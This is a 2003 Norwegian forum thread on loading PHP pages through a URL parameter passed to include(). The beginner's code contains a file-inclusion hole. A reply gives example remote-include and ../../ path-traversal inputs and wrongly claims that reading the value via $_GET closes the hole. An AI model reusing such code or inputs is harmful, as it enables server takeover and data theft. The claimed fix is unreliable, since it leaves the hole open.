Slartibartfast Skrevet 24. juli 2003 Del Skrevet 24. juli 2003 har ei side der eg vil ha kun index.php og so vert alt innhaldet sett inn ettersom du trykkjer på linkene.. prøvde med eit include script frå http://www.indexphp.com men dette vil ikkje virke.. (muleg eg gjer feil) men eg kan tenke meg noko slik: <?php include($ting);?> der innhaldet skal vere men so må eg få angitt den der variabelen då.. kan denne settast i href'en? godt mogleg eg er heilt på jordet.. men eg er relativt ny i php Lenke til kommentar
Slartibartfast Skrevet 24. juli 2003 Forfatter Del Skrevet 24. juli 2003 vel.. har prøvd den med switch.. frå menyen: <a class="menylink" href="index.php?side=reglar">Reglar</a> frå include fila ( bruker include der innholdet skal vere): <?php switch ($side) { case "reglar": include("innhold/reglar.php"); break; default: include("innhold/forsiden.php"); } ?> sidene som skal inkluderast ligg i mappa innhold/ men trykkjer eg på linken hoppar den til default med ein gong.. noko som er feil? Lenke til kommentar
Egil.B Skrevet 24. juli 2003 Del Skrevet 24. juli 2003 prøve med $side = $_GET['side]; øverst Lenke til kommentar
Slartibartfast Skrevet 24. juli 2003 Forfatter Del Skrevet 24. juli 2003 øverst? over switch ($side) ? eller ein annan plass? Lenke til kommentar
Slartibartfast Skrevet 25. juli 2003 Forfatter Del Skrevet 25. juli 2003 Warning: Failed opening '' for inclusion (include_path='.:/usr/share/pear') in /etc/httpd/ronde/index.php on line 22 kann dette ha noko med saken å gjere? Kva må eg gjera for at det skal verte fiksa? bruker no kun include($side) og so linkar eg til index.php?side=jalla.php nokon som kan hjelpe meg? Lenke til kommentar
jtsorensen Skrevet 25. juli 2003 Del Skrevet 25. juli 2003 Kanskje dette kan hjelpe litt: http://php.senteret.net/index.php?side=switch Lenke til kommentar
Slartibartfast Skrevet 26. juli 2003 Forfatter Del Skrevet 26. juli 2003 Har prøvd dette.. men enten går den rett til default eller så får eg same beskjeden.. Lenke til kommentar
hackinnen^ Skrevet 26. juli 2003 Del Skrevet 26. juli 2003 <?php switch($_GET["side"]) { case 'reglar': include "reglar.php"; break; default: include "default.php"; } ?> Lenke til kommentar
jtsorensen Skrevet 26. juli 2003 Del Skrevet 26. juli 2003 Hvorfor bruke $_GET["side"], det fungerer jo uten... Lenke til kommentar
Neo Skrevet 26. juli 2003 Del Skrevet 26. juli 2003 Hvorfor bruke $_GET["side"], det fungerer jo uten... Tror ikke det går uten hvis register_globals = off i php.ini - fila. Lenke til kommentar
[kami] Skrevet 27. juli 2003 Del Skrevet 27. juli 2003 $_GET, $_POST og $COOKIE er den nye standarden og register_globals = off i den nyeste versionen av php. så det er lurt å være konsekvent fra begynnelsen av i scriptet på hva du mener (cookies,get,post) Lenke til kommentar
Slartibartfast Skrevet 28. juli 2003 Forfatter Del Skrevet 28. juli 2003 Kan nokon forklare meg kvifor eg må ha dei og kva det betyr? Lenke til kommentar
magikern Skrevet 28. juli 2003 Del Skrevet 28. juli 2003 Kan nokon forklare meg kvifor eg må ha dei og kva det betyr? hvis du har register_globals = on i php.ini og skriver include($page) så kan jeg gå til siden din og skrive http://ditt-domenet.com/?page=http://minsk...cript/virus.php og da kan jeg med det scriptet gjøre stort sett hva jeg vil på serveren din. en annen ting jeg også kan gjøre er http://ditt-domenet.com/?page=../../passordfil så jeg får vite alle dine hemmeligheter... derimot hvis du har register_globals = off i php.ini og skriver $page = $_GET['page']; øverst i scriptet ditt vil ikke disse tingene være mulig... Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå